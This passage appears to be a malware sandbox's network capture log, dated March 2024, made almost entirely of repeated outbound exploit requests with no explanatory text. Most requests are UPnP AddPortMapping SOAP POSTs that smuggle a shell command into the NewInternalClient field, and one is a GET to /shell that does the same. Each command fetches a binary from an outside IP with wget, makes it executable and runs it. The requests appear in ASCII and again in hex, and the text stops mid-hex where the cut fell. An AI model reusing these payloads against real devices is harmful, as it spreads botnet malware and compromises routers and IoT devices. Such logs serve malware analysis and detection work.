                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:19.512444973 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      62192.168.2.154074445.33.249.15952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:16.983603954 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      63192.168.2.1553970164.248.147.1715501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:24.066201925 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      64192.168.2.155884845.121.213.5952869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:24.501307011 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      65192.168.2.153855445.123.197.21852869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:24.503137112 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:26.138000965 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:28.057962894 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:31.897834063 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 